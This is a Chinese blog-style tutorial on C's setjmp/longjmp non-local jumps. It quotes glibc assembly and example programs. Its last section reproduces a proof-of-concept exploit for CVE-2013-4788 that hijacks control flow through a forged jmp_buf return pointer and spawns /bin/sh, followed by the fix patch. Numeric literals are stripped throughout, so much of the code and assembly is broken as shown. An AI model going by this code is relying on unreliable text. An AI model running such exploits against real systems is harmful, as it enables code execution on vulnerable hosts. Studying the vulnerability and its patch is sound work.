setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

时间:2021-09-30 21:56:28

目录

. 应用场景
. Use Case Code Analysis
. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

1. 应用场景

非局部跳转通常被用于实现将程序控制流转移到错误处理模块中;或者是通过这种非正常的函数返回机制,返回到之前调用的函数中

. setjmp、longjmp的典型用途是异常处理机制的实现:利用longjmp恢复程序或线程的状态,甚至可以跳过栈中多层的函数调用

. 在信号处理机制中,进程在检查收到的信号,会从原来的系统调用中直接返回,而不是等到该调用完成。这种进程突然改变其上下文的情况,就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间,并继续在旧的上下文中继续执行。这就是说,进程执行一个系统调用,当因为资源或其他原因要去睡眠时,内核为进程作了一次setjmp,如果在睡眠中被信号唤醒,进程不能再进入睡眠时,内核为进程调用longjmp,该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文,这样就使得进程可以恢复等待资源前的状态,而且内核为setjmp返回1,使得进程知道该次系统调用失败 

. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数

. C语言中有一个goto语句,其可以结合标号实现函数内部的任意跳转(但是在大多数情况下,都建议不要使用goto语句,因为采用goto语句后,代码维护工作量加大,而且使得代码的结构性变得很差)。另外,C语言标准中还提供一种非局部跳转"no-local goto",其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

0x1: 非局部跳转(no-local goto)实现原理

C语言的运行控制模型,是一个基于"栈结构"的"指令执行序列",表现出来就是call/return: call调用一个函数,然后return从一个函数返回。在这种运行控制模型中,每个函数调用都会对应着一个栈帧,其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时,系统会创建一个对应的栈帧压入栈中,而从一个函数返回时,则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回

另外,系统内部有一些寄存器记录着当前系统的状态信息,其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段,数据段等等)。这些寄存器指示了当前程序运行点的系统状态,可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中,然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复,此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是,相当控制流跳过了中间的若干个函数调用对应的栈帧,到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制,其不同于上面所说的call/return跳转机制

正是因为这种实现机制,需要特别注意的是:"包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话,该函数对应的栈帧也已经从系统栈中退出,于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时,就不再是setjmp()宏调用所在程序点。此时,调用函数longjmp()就会出现不可预测的错误

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

2. Use Case Code Analysis

. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径,特别的,它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/
) setjmp()宏把当前状态信息保存到env中,供以后longjmp()恢复状态信息时使用
1.1) 如果是直接调用setjmp(),那么返回值为0
1.2) 如果是由于调用longjmp()而调用setjmp(),那么返回值非0
) setjmp()只能在某些特定情况下调用,如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中 . 非局部跳转longjmp()
) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时,程序就象setjmp()刚刚执行完并返回非0值val那样继续执行
) 值得注意的是,包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了,那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了,程序返回到一个不再存在的执行点,很可能覆盖或者弄坏程序栈
) 所有可访问的对象的值都与调用longjmp()时相同,唯一的例外是,那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变,那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/

0x1: jmp_buf

jmp_buf是setjmp.h中定义的一个结构类型,其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中,而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复,于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能

\glibc-2.18\setjmp\setjmp.h

/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{
/*
NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.
Do not move these members or add others before it.
*/
__jmp_buf __jmpbuf; /* Calling environment. */
int __mask_was_saved; /* Saved the signal mask */
__sigset_t __saved_mask; /* Saved signal mask. */
}; __BEGIN_NAMESPACE_STD typedef struct __jmp_buf_tag jmp_buf[];

将jmp_buf定义为一个数组,那么可以将数据分配在栈上,但是作为参数传递的时候传的是一个指针

0x2: setjmp

创建本地的jmp_buf缓冲区并且初始化,用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区,env将被longjmp使用。如果是从setjmp直接调用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)
mov x1, #
b 1f
END (setjmp) ENTRY (_setjmp)
mov x1, #
b 1f
END (_setjmp)
libc_hidden_def (_setjmp) ENTRY (__sigsetjmp) :
stp x19, x20, [x0, #JB_X19<<]
stp x21, x22, [x0, #JB_X21<<]
stp x23, x24, [x0, #JB_X23<<]
stp x25, x26, [x0, #JB_X25<<]
stp x27, x28, [x0, #JB_X27<<]
stp x29, x30, [x0, #JB_X29<<]
stp d8, d9, [x0, #JB_D8<<]
stp d10, d11, [x0, #JB_D10<<]
stp d12, d13, [x0, #JB_D12<<]
stp d14, d15, [x0, #JB_D14<<]
mov x2, sp
str x2, [x0, #JB_SP<<]
#if defined NOT_IN_libc && defined IS_IN_rtld
/* In ld.so we never save the signal mask */
mov w0, #
RET
#else
b C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */
#include <stdio.h> /* printf, scanf */
#include <stdlib.h> /* exit */
#include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main()
{
jmp_buf env;
int val; /*
setjmp会多次返回
setjmp return value
1. 正常调用(保存当前call的env): 返回0
2. 调用longjmp返回: 取决于longjmp的第二个参数
1) longjmp的第二个参数为非0: setjmp返回同样的值
2) longjmp的第二个参数为0: setjmp返回1
*/
val = setjmp (env);
if (val)
{
fprintf (stderr,"Error %d happened\n",val);
exit (val);
} printf("Calling function.\n");
longjmp (env,); /* signaling an error */ return ;
}

aaarticlea/png;base64,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" alt="" />

0x3: longjmp

恢复env所指的缓冲区中的程序调用环境上下文,env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后,程序从对应的setjmp调用处继续执行,如同setjmp调用刚刚完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
.text
ENTRY(__longjmp)
/* Restore registers. */
mov (JB_RSP*)(%rdi),%R8_LP
mov (JB_RBP*)(%rdi),%R9_LP
mov (JB_PC*)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (%R8_LP)
PTR_DEMANGLE (%R9_LP)
PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__
/* We ignored the high bits of the %rbp value because only the low
bits are mangled. But we cannot presume that %rbp is being used
as a pointer and truncate it, so recover the high bits. */
movl (JB_RBP* + )(%rdi), %eax
shlq $, %rax
orq %rax, %r9
# endif
#endif
LIBC_PROBE (longjmp, , LP_SIZE@%RDI_LP, -@%esi, LP_SIZE@%RDX_LP)
/* We add unwind information for the target here. */
cfi_def_cfa(%rdi, )
cfi_register(%rsp,%r8)
cfi_register(%rbp,%r9)
cfi_register(%rip,%rdx)
cfi_offset(%rbx,JB_RBX*)
cfi_offset(%r12,JB_R12*)
cfi_offset(%r13,JB_R13*)
cfi_offset(%r14,JB_R14*)
cfi_offset(%r15,JB_R15*)
movq (JB_RBX*)(%rdi),%rbx
movq (JB_R12*)(%rdi),%r12
movq (JB_R13*)(%rdi),%r13
movq (JB_R14*)(%rdi),%r14
movq (JB_R15*)(%rdi),%r15
/* Set return value for setjmp. */
mov %esi, %eax
mov %R8_LP,%RSP_LP
movq %r9,%rbp
LIBC_PROBE (longjmp_target, ,
LP_SIZE@%RDI_LP, -@%eax, LP_SIZE@%RDX_LP)
jmpq *%rdx
END (__longjmp)

code

/* longjmp example */
#include <stdio.h> /* printf */
#include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main()
{
jmp_buf env;
int val; val=setjmp(env); printf ("val is %d\n",val); if (!val) longjmp(env, ); return ;
}

aaarticlea/png;base64,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" alt="" />

Relevant Link:

http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码

/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept for glibc versions <= 2.17
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/ #include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h> #ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#elif __arm__
#define ROTATE 0x0
#define PC_ENV_OFFSET 0x24
#else
#error The exploit does not support this architecture
#endif unsigned long rol(uintptr_t value)
{
// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
unsigned long ret;
asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : ""(value));
return ret;
} int hacked()
{
printf("[+] hacked !!\n");
system("/bin/sh");
} int main(void)
{
//jmp_buf用于保存恢复调用环境所需的信息
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n");
if(setjmp(env) == )
{
printf("[-] Exploit failed.\n");
return ;
} /*Overwrite env return address */
*ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, ); printf("[-] Exploit failed.\n");
return ;
}

简单来说,就是通过覆盖jmp_buf中和返回地址有关的指针,来达到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c -- ::13.000000000 +
+++ glibc-2.17-mangle-fix/csu/libc-start.c -- ::48.000000000 +
@@ -, +, @@ extern void __pthread_initialize_minimal
in thread local area. */
uintptr_t __stack_chk_guard attribute_relro;
# endif
+
+# ifndef THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+ attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+
#endif #ifdef HAVE_PTR_NTHREADS
@@ -, +, @@ LIBC_START_MAIN (int (*main) (int, char
# else
__stack_chk_guard = stack_chk_guard;
# endif
+ uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+ stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+ THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+ __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+
#endif /* Register the destructor of the dynamic linker if there is any. */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213

Copyright (c) 2014 LittleHann All rights reserved

setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto的更多相关文章

  1. Servlet Exception and Error Handling

    Servlet API support for custom Exception and Error Handler servlets that we can congiure in deployme ...

  2. Unix系统编程()执行非局部跳转:setjmp和longjmp

    使用库函数setjmp和longjmp可执行非局部跳转(local goto). 术语"非局部(nonlocal)"是指跳转目标为当前执行函数之外的某个位置. C语言里面有个&qu ...

